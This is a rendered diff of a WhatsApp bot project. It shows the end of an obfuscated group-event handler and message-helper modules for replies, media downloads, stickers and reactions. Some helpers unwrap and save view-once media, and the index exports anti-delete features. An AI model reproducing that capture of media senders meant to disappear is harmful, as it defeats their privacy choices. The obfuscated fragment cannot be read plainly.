_0x39d2c0='*╭ׂ┄─ׅ─ׂ┄─ׂ┄─ׅ─ׂ┄─ׂ┄─ׅ─ׂ┄──*\x0a'+_0x297df3(0x8f)+_0x297df3(0x6c)+('*│❀\x20ᴜѕєʀ*\x20@'+_0x22a1e8+'\x0a')+_0x297df3(0x84)+(_0x297df3(0x9d)+_0x54a6b4+'*\x0a')+_0x297df3(0x9e)+'*╰┉┉┉┉┈┈┈┈┈┈┈┈┉┉┉᛫᛭*';await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'image':{'url':_0x92baa7},'caption':_0x39d2c0,'mentions':[_0x180f70],'contextInfo':getContextInfo({'sender':_0x180f70})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0xa0)&&config[_0x297df3(0x98)]==='true'){const _0x2fedd3=_0x2fc374['author']['split']('@')[0x0];await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'text':_0x297df3(0x82)+(_0x297df3(0x88)+_0x2fedd3+_0x297df3(0xaf))+('*├▢\x20@'+_0x22a1e8+_0x297df3(0x97))+(_0x297df3(0x95)+_0x7362f3+'*\x0a')+(_0x297df3(0x9b)+_0x4e46f8[_0x297df3(0xb0)]+'\x0a')+_0x297df3(0x8c),'mentions':[_0x2fc374['author'],_0x180f70],'contextInfo':getContextInfo({'sender':_0x2fc374['author']})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x9c)&&config[_0x297df3(0x98)]===_0x297df3(0x81)){const _0x13ffbc=_0x2fc374['author'][_0x297df3(0x80)]('@')[0x0];await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'text':_0x297df3(0x82)+(_0x297df3(0x88)+_0x13ffbc+'\x20нαѕ\x20ᴘʀσмσтє∂*\x0a')+(_0x297df3(0x88)+_0x22a1e8+'\x20тσ\x20α∂мιɴ*\x0a')+(_0x297df3(0x95)+_0x7362f3+'*\x0a')+(_0x297df3(0x70)+_0x4e46f8[_0x297df3(0xb0)]+'*\x0a')+_0x297df3(0x8c),'mentions':[_0x2fc374['author'],_0x180f70],'contextInfo':getContextInfo({'sender':_0x2fc374[_0x297df3(0x6d)]})});}}}}}}catch(_0x426bd3){console[_0x297df3(0x92)](_0x297df3(0x7b),_0x426bd3);}};module['exports']=GroupEvents;
|
lib/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { DeletedText,
|
2 |
+
DeletedMedia,
|
3 |
+
AntiDelete, } = require('./antidel');
|
4 |
+
//const { AntiViewOnce } = require('./antivv');
|
5 |
+
const {
|
6 |
+
DATABASE
|
7 |
+
} = require('./database');
|
8 |
+
const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./functions');
|
9 |
+
const {sms, downloadMediaMessage} = require('./msg');
|
10 |
+
//const {shannzCdn} = require('./shannzCdn');
|
11 |
+
|
12 |
+
module.exports = {
|
13 |
+
DeletedText,
|
14 |
+
DeletedMedia,
|
15 |
+
AntiDelete,
|
16 |
+
//AntiViewOnce,
|
17 |
+
getBuffer,
|
18 |
+
getGroupAdmins,
|
19 |
+
getRandom,
|
20 |
+
h2k,
|
21 |
+
isUrl,
|
22 |
+
Json,
|
23 |
+
runtime,
|
24 |
+
sleep,
|
25 |
+
fetchJson,
|
26 |
+
DATABASE,
|
27 |
+
sms,
|
28 |
+
downloadMediaMessage,
|
29 |
+
// shannzCdn,
|
30 |
+
};
|
lib/msg.js
ADDED
@@ -0,0 +1,258 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { proto, downloadContentFromMessage, getContentType } = require('@whiskeysockets/baileys')
|
2 |
+
const fs = require('fs')
|
3 |
+
|
4 |
+
const downloadMediaMessage = async(m, filename) => {
|
5 |
+
if (m.type === 'viewOnceMessage') {
|
6 |
+
m.type = m.msg.type
|
7 |
+
}
|
8 |
+
if (m.type === 'imageMessage') {
|
9 |
+
var nameJpg = filename ? filename + '.jpg' : 'undefined.jpg'
|
10 |
+
const stream = await downloadContentFromMessage(m.msg, 'image')
|
11 |
+
let buffer = Buffer.from([])
|
12 |
+
for await (const chunk of stream) {
|
13 |
+
buffer = Buffer.concat([buffer, chunk])
|
14 |
+
}
|
15 |
+
fs.writeFileSync(nameJpg, buffer)
|
16 |
+
return fs.readFileSync(nameJpg)
|
17 |
+
} else if (m.type === 'videoMessage') {
|
18 |
+
var nameMp4 = filename ? filename + '.mp4' : 'undefined.mp4'
|
19 |
+
const stream = await downloadContentFromMessage(m.msg, 'video')
|
20 |
+
let buffer = Buffer.from([])
|
21 |
+
for await (const chunk of stream) {
|
22 |
+
buffer = Buffer.concat([buffer, chunk])
|
23 |
+
}
|
24 |
+
fs.writeFileSync(nameMp4, buffer)
|
25 |
+
return fs.readFileSync(nameMp4)
|
26 |
+
} else if (m.type === 'audioMessage') {
|
27 |
+
var nameMp3 = filename ? filename + '.mp3' : 'undefined.mp3'
|
28 |
+
const stream = await downloadContentFromMessage(m.msg, 'audio')
|
29 |
+
let buffer = Buffer.from([])
|
30 |
+
for await (const chunk of stream) {
|
31 |
+
buffer = Buffer.concat([buffer, chunk])
|
32 |
+
}
|
33 |
+
fs.writeFileSync(nameMp3, buffer)
|
34 |
+
return fs.readFileSync(nameMp3)
|
35 |
+
} else if (m.type === 'stickerMessage') {
|
36 |
+
var nameWebp = filename ? filename + '.webp' : 'undefined.webp'
|
37 |
+
const stream = await downloadContentFromMessage(m.msg, 'sticker')
|
38 |
+
let buffer = Buffer.from([])
|
39 |
+
for await (const chunk of stream) {
|
40 |
+
buffer = Buffer.concat([buffer, chunk])
|
41 |
+
}
|
42 |
+
fs.writeFileSync(nameWebp, buffer)
|
43 |
+
return fs.readFileSync(nameWebp)
|
44 |
+
} else if (m.type === 'documentMessage') {
|
45 |
+
var ext = m.msg.fileName.split('.')[1].toLowerCase().replace('jpeg', 'jpg').replace('png', 'jpg').replace('m4a', 'mp3')
|
46 |
+
var nameDoc = filename ? filename + '.' + ext : 'undefined.' + ext
|
47 |
+
const stream = await downloadContentFromMessage(m.msg, 'document')
|
48 |
+
let buffer = Buffer.from([])
|
49 |
+
for await (const chunk of stream) {
|
50 |
+
buffer = Buffer.concat([buffer, chunk])
|
51 |
+
}
|
52 |
+
fs.writeFileSync(nameDoc, buffer)
|
53 |
+
return fs.readFileSync(nameDoc)
|
54 |
+
}
|
55 |
+
}
|
56 |
+
|
57 |
+
const sms = (conn, m, store) => {
|
58 |
+
if (!m) return m
|
59 |
+
let M = proto.WebMessageInfo
|
60 |
+
if (m.key) {
|
61 |
+
m.id = m.key.id
|
62 |
+
m.isBot = m.id.startsWith('BAES') && m.id.length === 16
|
63 |
+
m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16
|
64 |
+
m.chat = m.key.remoteJid
|
65 |
+
m.fromMe = m.key.fromMe
|
66 |
+
m.isGroup = m.chat.endsWith('@g.us')
|
67 |
+
m.sender = m.fromMe ? conn.user.id.split(':')[0]+'@s.whatsapp.net' : m.isGroup ? m.key.participant : m.key.remoteJid
|
68 |
+
//m.sender = conn.decodeJid(m.fromMe && conn.user.id || m.participant || m.key.participant || m.chat || '')
|
69 |
+
//if (m.isGroup) m.participant = conn.decodeJid(m.key.participant) || ''
|
70 |
+
}
|
71 |
+
if (m.message) {
|
72 |
+
m.mtype = getContentType(m.message)
|
73 |
+
m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype])
|
74 |
+
try {
|
75 |
+
m.body = (m.mtype === 'conversation') ? m.message.conversation :
|
76 |
+
(m.mtype == 'imageMessage' && m.message.imageMessage.caption != undefined) ? m.message.imageMessage.caption :
|
77 |
+
(m.mtype == 'videoMessage' && m.message.videoMessage.caption != undefined) ? m.message.videoMessage.caption :
|
78 |
+
(m.mtype == 'extendedTextMessage' && m.message.extendedTextMessage.text != undefined) ? m.message.extendedTextMessage.text :
|
79 |
+
(m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId :
|
80 |
+
(m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectReply.selectedRowId :
|
81 |
+
(m.mtype == 'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId :
|
82 |
+
(m.mtype === 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : '';
|
83 |
+
} catch {
|
84 |
+
m.body = false
|
85 |
+
}
|
86 |
+
let quoted = (m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null);
|
87 |
+
m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
|
88 |
+
|
89 |
+
if (m.quoted) {
|
90 |
+
let type = getContentType(quoted)
|
91 |
+
m.quoted = m.quoted[type]
|
92 |
+
if (['productMessage'].includes(type)) {
|
93 |
+
type = getContentType(m.quoted)
|
94 |
+
m.quoted = m.quoted[type]
|
95 |
+
}
|
96 |
+
if (typeof m.quoted === 'string') m.quoted = { text: m.quoted }
|
97 |
+
|
98 |
+
|
99 |
+
if(quoted.viewOnceMessageV2)
|
100 |
+
{
|
101 |
+
console.log("entered ==================================== ")
|
102 |
+
//console.log ("m Is : ",m,"\nm Quoted is :",m.quoted ,"\n Quoted is : ",quoted,"\nviewOnce : ", quoted.viewOnceMessageV2.message)
|
103 |
+
|
104 |
+
} else
|
105 |
+
{
|
106 |
+
|
107 |
+
|
108 |
+
m.quoted.mtype = type
|
109 |
+
m.quoted.id = m.msg.contextInfo.stanzaId
|
110 |
+
m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat
|
111 |
+
m.quoted.isBot = m.quoted.id ? m.quoted.id.startsWith('BAES') && m.quoted.id.length === 16 : false
|
112 |
+
m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false
|
113 |
+
m.quoted.sender = conn.decodeJid(m.msg.contextInfo.participant)
|
114 |
+
m.quoted.fromMe = m.quoted.sender === (conn.user && conn.user.id)
|
115 |
+
m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || ''
|
116 |
+
m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
|
117 |
+
m.getQuotedObj = m.getQuotedMessage = async () => {
|
118 |
+
if (!m.quoted.id) return false
|
119 |
+
let q = await store.loadMessage(m.chat, m.quoted.id, conn)
|
120 |
+
return exports.sms(conn, q, store)
|
121 |
+
}
|
122 |
+
let vM = m.quoted.fakeObj = M.fromObject({
|
123 |
+
key: {
|
124 |
+
remoteJid: m.quoted.chat,
|
125 |
+
fromMe: m.quoted.fromMe,
|
126 |
+
id: m.quoted.id
|
127 |
+
},
|
128 |
+
message: quoted,
|
129 |
+
...(m.isGroup ? { participant: m.quoted.sender } : {})
|
130 |
+
})
|
131 |
+
/**
|
132 |
+
*
|
133 |
+
* @returns
|
134 |
+
*/
|
135 |
+
let { chat, fromMe, id } = m.quoted;
|
136 |
+
const key = {
|
137 |
+
remoteJid: m.chat,
|
138 |
+
fromMe: false,
|
139 |
+
id: m.quoted.id,
|
140 |
+
participant: m.quoted.sender
|
141 |
+
}
|
142 |
+
m.quoted.delete = async() => await conn.sendMessage(m.chat, { delete: key })
|
143 |
+
|
144 |
+
/**
|
145 |
+
*
|
146 |
+
* @param {*} jid
|
147 |
+
* @param {*} forceForward
|
148 |
+
* @param {*} options
|
149 |
+
* @returns
|
150 |
+
*/
|
151 |
+
m.forwardMessage = (jid, forceForward = true, options = {}) => conn.copyNForward(jid, vM, forceForward,{contextInfo: {isForwarded: false}}, options)
|
152 |
+
|
153 |
+
/**
|
154 |
+
*
|
155 |
+
* @returns
|
156 |
+
*/
|
157 |
+
m.quoted.download = () => conn.downloadMediaMessage(m.quoted)
|
158 |
+
}
|
159 |
+
}
|
160 |
+
}
|
161 |
+
if (m.msg.url) m.download = () => conn.downloadMediaMessage(m.msg)
|
162 |
+
m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || ''
|
163 |
+
/**
|
164 |
+
* Reply to this message
|
165 |
+
* @param {String|Object} text
|
166 |
+
* @param {String|false} chatId
|
167 |
+
* @param {Object} options
|
168 |
+
*/
|
169 |
+
|
170 |
+
/**
|
171 |
+
* Copy this message
|
172 |
+
*/
|
173 |
+
m.copy = () => exports.sms(conn, M.fromObject(M.toObject(m)))
|
174 |
+
/**
|
175 |
+
*
|
176 |
+
* @param {*} jid
|
177 |
+
* @param {*} forceForward
|
178 |
+
* @param {*} options
|
179 |
+
* @returns
|
180 |
+
*/
|
181 |
+
m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => conn.copyNForward(jid, m, forceForward, options)
|
182 |
+
m.sticker = (stik, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { sticker: stik, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
183 |
+
m.replyimg = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: img, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
184 |
+
m.imgurl = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: {url: img }, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
185 |
+
m.reply = async (content,opt = { packname: "Secktor", author: "SamPandey001" }, type = "text") => {
|
186 |
+
switch (type.toLowerCase()) {
|
187 |
+
case "text":{
|
188 |
+
return await conn.sendMessage( m.chat, { text: content }, { quoted:m });
|
189 |
+
}
|
190 |
+
break;
|
191 |
+
case "image": {
|
192 |
+
if (Buffer.isBuffer(content)) {
|
193 |
+
return await conn.sendMessage(m.chat, { image: content, ...opt }, { ...opt } );
|
194 |
+
} else if (isUrl(content)) {
|
195 |
+
return conn.sendMessage( m.chat, { image: { url: content }, ...opt },{ ...opt } );
|
196 |
+
}
|
197 |
+
}
|
198 |
+
break;
|
199 |
+
case "video": {
|
200 |
+
if (Buffer.isBuffer(content)) {
|
201 |
+
return await conn.sendMessage(m.chat, { video: content, ...opt }, { ...opt } );
|
202 |
+
} else if (isUrl(content)) {
|
203 |
+
return await conn.sendMessage( m.chat, { video: { url: content }, ...opt }, { ...opt } );
|
204 |
+
}
|
205 |
+
}
|
206 |
+
case "audio": {
|
207 |
+
if (Buffer.isBuffer(content)) {
|
208 |
+
return await conn.sendMessage( m.chat, { audio: content, ...opt }, { ...opt } );
|
209 |
+
} else if (isUrl(content)) {
|
210 |
+
return await conn.sendMessage( m.chat, { audio: { url: content }, ...opt }, { ...opt });
|
211 |
+
}
|
212 |
+
}
|
213 |
+
break;
|
214 |
+
case "template":
|
215 |
+
let optional = await generateWAMessage(m.chat, content, opt);
|
216 |
+
let message = { viewOnceMessage: { message: { ...optional.message,}, },};
|
217 |
+
await conn.relayMessage(m.chat, message, { messageId: optional.key.id,});
|
218 |
+
break;
|
219 |
+
case "sticker":{
|
220 |
+
let { data, mime } = await conn.getFile(content);
|
221 |
+
if (mime == "image/webp") {
|
222 |
+
let buff = await writeExifWebp(data, opt);
|
223 |
+
await conn.sendMessage(m.chat, { sticker: { url: buff }, ...opt }, opt );
|
224 |
+
} else {
|
225 |
+
mime = await mime.split("/")[0];
|
226 |
+
if (mime === "video") {
|
227 |
+
await conn.sendImageAsSticker(m.chat, content, opt);
|
228 |
+
} else if (mime === "image") {
|
229 |
+
await conn.sendImageAsSticker(m.chat, content, opt);
|
230 |
+
}
|
231 |
+
}
|
232 |
+
}
|
233 |
+
break;
|
234 |
+
}
|
235 |
+
}
|
236 |
+
m.senddoc = (doc,type, id = m.chat, option = { mentions: [m.sender], filename: Config.ownername, mimetype: type,
|
237 |
+
externalAdRepl: {
|
238 |
+
title: Config.ownername,
|
239 |
+
body: ' ',
|
240 |
+
thumbnailUrl: ``,
|
241 |
+
thumbnail: log0,
|
242 |
+
mediaType: 1,
|
243 |
+
mediaUrl: '',
|
244 |
+
sourceUrl: gurl,
|
245 |
+
} }) => conn.sendMessage(id, { document: doc, mimetype: option.mimetype, fileName: option.filename, contextInfo: {
|
246 |
+
externalAdReply: option.externalAdRepl,
|
247 |
+
mentionedJid: option.mentions } }, { quoted: m })
|
248 |
+
|
249 |
+
m.sendcontact = (name, info, number) => {
|
250 |
+
var vcard = 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + 'FN:' + name + '\n' + 'ORG:' + info + ';\n' + 'TEL;type=CELL;type=VOICE;waid=' + number + ':+' + number + '\n' + 'END:VCARD'
|
251 |
+
conn.sendMessage(m.chat, { contacts: { displayName: name, contacts: [{ vcard }] } }, { quoted: m })
|
252 |
+
}
|
253 |
+
m.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.key } })
|
254 |
+
|
255 |
+
return m
|
256 |
+
}
|
257 |
+
|
258 |
+
module.exports = { sms, downloadMediaMessage }
|
lib/msg2.js
ADDED
@@ -0,0 +1,133 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*created by Kgtech 🕵
|
2 |
+
contact dev1 237656520674 ♻️
|
3 |
+
contact dev2 237650564445 ♻️
|
4 |
+
© Copy coder alert ⚠
|
5 |
+
*/
|
6 |
+
|
7 |
+
|
8 |
+
|
9 |
+
const { proto, downloadContentFromMessage, getContentType } = require('@whiskeysockets/baileys')
|
10 |
+
const fs = require('fs')
|
11 |
+
|
12 |
+
const downloadMediaMessage = async(m, filename) => {
|
13 |
+
if (m.type === 'viewOnceMessage') {
|
14 |
+
m.type = m.msg.type
|
15 |
+
}
|
16 |
+
if (m.type === 'imageMessage') {
|
17 |
+
var nameJpg = filename ? filename + '.jpg' : 'undefined.jpg'
|
18 |
+
const stream = await downloadContentFromMessage(m.msg, 'image')
|
19 |
+
let buffer = Buffer.from([])
|
20 |
+
for await (const chunk of stream) {
|
21 |
+
buffer = Buffer.concat([buffer, chunk])
|
22 |
+
}
|
23 |
+
fs.writeFileSync(nameJpg, buffer)
|
24 |
+
return fs.readFileSync(nameJpg)
|
25 |
+
} else if (m.type === 'videoMessage') {
|
26 |
+
var nameMp4 = filename ? filename + '.mp4' : 'undefined.mp4'
|
27 |
+
const stream = await downloadContentFromMessage(m.msg, 'video')
|
28 |
+
let buffer = Buffer.from([])
|
29 |
+
for await (const chunk of stream) {
|
30 |
+
buffer = Buffer.concat([buffer, chunk])
|
31 |
+
}
|
32 |
+
fs.writeFileSync(nameMp4, buffer)
|
33 |
+
return fs.readFileSync(nameMp4)
|
34 |
+
} else if (m.type === 'audioMessage') {
|
35 |
+
var nameMp3 = filename ? filename + '.mp3' : 'undefined.mp3'
|
36 |
+
const stream = await downloadContentFromMessage(m.msg, 'audio')
|
37 |
+
let buffer = Buffer.from([])
|
38 |
+
for await (const chunk of stream) {
|
39 |
+
buffer = Buffer.concat([buffer, chunk])
|
40 |
+
}
|
41 |
+
fs.writeFileSync(nameMp3, buffer)
|
42 |
+
return fs.readFileSync(nameMp3)
|
43 |
+
} else if (m.type === 'stickerMessage') {
|
44 |
+
var nameWebp = filename ? filename + '.webp' : 'undefined.webp'
|
45 |
+
const stream = await downloadContentFromMessage(m.msg, 'sticker')
|
46 |
+
let buffer = Buffer.from([])
|
47 |
+
for await (const chunk of stream) {
|
48 |
+
buffer = Buffer.concat([buffer, chunk])
|
49 |
+
}
|
50 |
+
fs.writeFileSync(nameWebp, buffer)
|
51 |
+
return fs.readFileSync(nameWebp)
|
52 |
+
} else if (m.type === 'documentMessage') {
|
53 |
+
var ext = m.msg.fileName.split('.')[1].toLowerCase().replace('jpeg', 'jpg').replace('png', 'jpg').replace('m4a', 'mp3')
|
54 |
+
var nameDoc = filename ? filename + '.' + ext : 'undefined.' + ext
|
55 |
+
const stream = await downloadContentFromMessage(m.msg, 'document')
|
56 |
+
let buffer = Buffer.from([])
|
57 |
+
for await (const chunk of stream) {
|
58 |
+
buffer = Buffer.concat([buffer, chunk])
|
59 |
+
}
|
60 |
+
fs.writeFileSync(nameDoc, buffer)
|
61 |
+
return fs.readFileSync(nameDoc)
|
62 |
+
}
|
63 |
+
}
|
64 |
+
|
65 |
+
const sms = (conn, m) => {
|
66 |
+
if (m.key) {
|
67 |
+
m.id = m.key.id
|
68 |
+
m.chat = m.key.remoteJid
|
69 |
+
m.fromMe = m.key.fromMe
|
70 |
+
m.isGroup = m.chat.endsWith('@g.us')
|
71 |
+
m.sender = m.fromMe ? conn.user.id.split(':')[0]+'@s.whatsapp.net' : m.isGroup ? m.key.participant : m.key.remoteJid
|
72 |
+
}
|
73 |
+
if (m.message) {
|
74 |
+
m.type = getContentType(m.message)
|
75 |
+
m.msg = (m.type === 'viewOnceMessage') ? m.message[m.type].message[getContentType(m.message[m.type].message)] : m.message[m.type]
|
76 |
+
if (m.msg) {
|
77 |
+
if (m.type === 'viewOnceMessage') {
|
78 |
+
m.msg.type = getContentType(m.message[m.type].message)
|
79 |
+
}
|
80 |
+
var quotedMention = m.msg.contextInfo != null ? m.msg.contextInfo.participant : ''
|
81 |
+
var tagMention = m.msg.contextInfo != null ? m.msg.contextInfo.mentionedJid : []
|
82 |
+
var mention = typeof(tagMention) == 'string' ? [tagMention] : tagMention
|
83 |
+
mention != undefined ? mention.push(quotedMention) : []
|
84 |
+
m.mentionUser = mention != undefined ? mention.filter(x => x) : []
|
85 |
+
m.body = (m.type === 'conversation') ? m.msg : (m.type === 'extendedTextMessage') ? m.msg.text : (m.type == 'imageMessage') && m.msg.caption ? m.msg.caption : (m.type == 'videoMessage') && m.msg.caption ? m.msg.caption : (m.type == 'templateButtonReplyMessage') && m.msg.selectedId ? m.msg.selectedId : (m.type == 'buttonsResponseMessage') && m.msg.selectedButtonId ? m.msg.selectedButtonId : ''
|
86 |
+
m.quoted = m.msg.contextInfo != undefined ? m.msg.contextInfo.quotedMessage : null
|
87 |
+
if (m.quoted) {
|
88 |
+
m.quoted.type = getContentType(m.quoted)
|
89 |
+
m.quoted.id = m.msg.contextInfo.stanzaId
|
90 |
+
m.quoted.sender = m.msg.contextInfo.participant
|
91 |
+
m.quoted.fromMe = m.quoted.sender.split('@')[0].includes(conn.user.id.split(':')[0])
|
92 |
+
m.quoted.msg = (m.quoted.type === 'viewOnceMessage') ? m.quoted[m.quoted.type].message[getContentType(m.quoted[m.quoted.type].message)] : m.quoted[m.quoted.type]
|
93 |
+
if (m.quoted.type === 'viewOnceMessage') {
|
94 |
+
m.quoted.msg.type = getContentType(m.quoted[m.quoted.type].message)
|
95 |
+
}
|
96 |
+
var quoted_quotedMention = m.quoted.msg.contextInfo != null ? m.quoted.msg.contextInfo.participant : ''
|
97 |
+
var quoted_tagMention = m.quoted.msg.contextInfo != null ? m.quoted.msg.contextInfo.mentionedJid : []
|
98 |
+
var quoted_mention = typeof(quoted_tagMention) == 'string' ? [quoted_tagMention] : quoted_tagMention
|
99 |
+
quoted_mention != undefined ? quoted_mention.push(quoted_quotedMention) : []
|
100 |
+
m.quoted.mentionUser = quoted_mention != undefined ? quoted_mention.filter(x => x) : []
|
101 |
+
m.quoted.fakeObj = proto.WebMessageInfo.fromObject({
|
102 |
+
key: {
|
103 |
+
remoteJid: m.chat,
|
104 |
+
fromMe: m.quoted.fromMe,
|
105 |
+
id: m.quoted.id,
|
106 |
+
participant: m.quoted.sender
|
107 |
+
},
|
108 |
+
message: m.quoted
|
109 |
+
})
|
110 |
+
m.quoted.download = (filename) => downloadMediaMessage(m.quoted, filename)
|
111 |
+
m.quoted.delete = () => conn.sendMessage(m.chat, { delete: m.quoted.fakeObj.key })
|
112 |
+
m.quoted.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.quoted.fakeObj.key } })
|
113 |
+
}
|
114 |
+
}
|
115 |
+
m.download = (filename) => downloadMediaMessage(m, filename)
|
116 |
+
}
|
117 |
+
|
118 |
+
m.reply = (teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { text: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
119 |
+
m.replyS = (stik, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { sticker: stik, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
120 |
+
m.replyImg = (img, teks, id = m.chat, option = { mentions: [m.sender] }) => conn.sendMessage(id, { image: img, caption: teks, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
121 |
+
m.replyVid = (vid, teks, id = m.chat, option = { mentions: [m.sender], gif: false }) => conn.sendMessage(id, { video: vid, caption: teks, gifPlayback: option.gif, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
122 |
+
m.replyAud = (aud, id = m.chat, option = { mentions: [m.sender], ptt: false }) => conn.sendMessage(id, { audio: aud, ptt: option.ptt, mimetype: 'audio/mpeg', contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
123 |
+
m.replyDoc = (doc, id = m.chat, option = { mentions: [m.sender], filename: 'undefined.pdf', mimetype: 'application/pdf' }) => conn.sendMessage(id, { document: doc, mimetype: option.mimetype, fileName: option.filename, contextInfo: { mentionedJid: option.mentions } }, { quoted: m })
|
124 |
+
m.replyContact = (name, info, number) => {
|
125 |
+
var vcard = 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + 'FN:' + name + '\n' + 'ORG:' + info + ';\n' + 'TEL;type=CELL;type=VOICE;waid=' + number + ':+' + number + '\n' + 'END:VCARD'
|
126 |
+
conn.sendMessage(m.chat, { contacts: { displayName: name, contacts: [{ vcard }] } }, { quoted: m })
|
127 |
+
}
|
128 |
+
m.react = (emoji) => conn.sendMessage(m.chat, { react: { text: emoji, key: m.key } })
|
129 |
+
|
130 |
+
return m
|
131 |
+
}
|
132 |
+
|
133 |
+
module.exports = { sms,downloadMediaMessage }
|
lib/sticker-utils.js
ADDED
@@ -0,0 +1,76 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
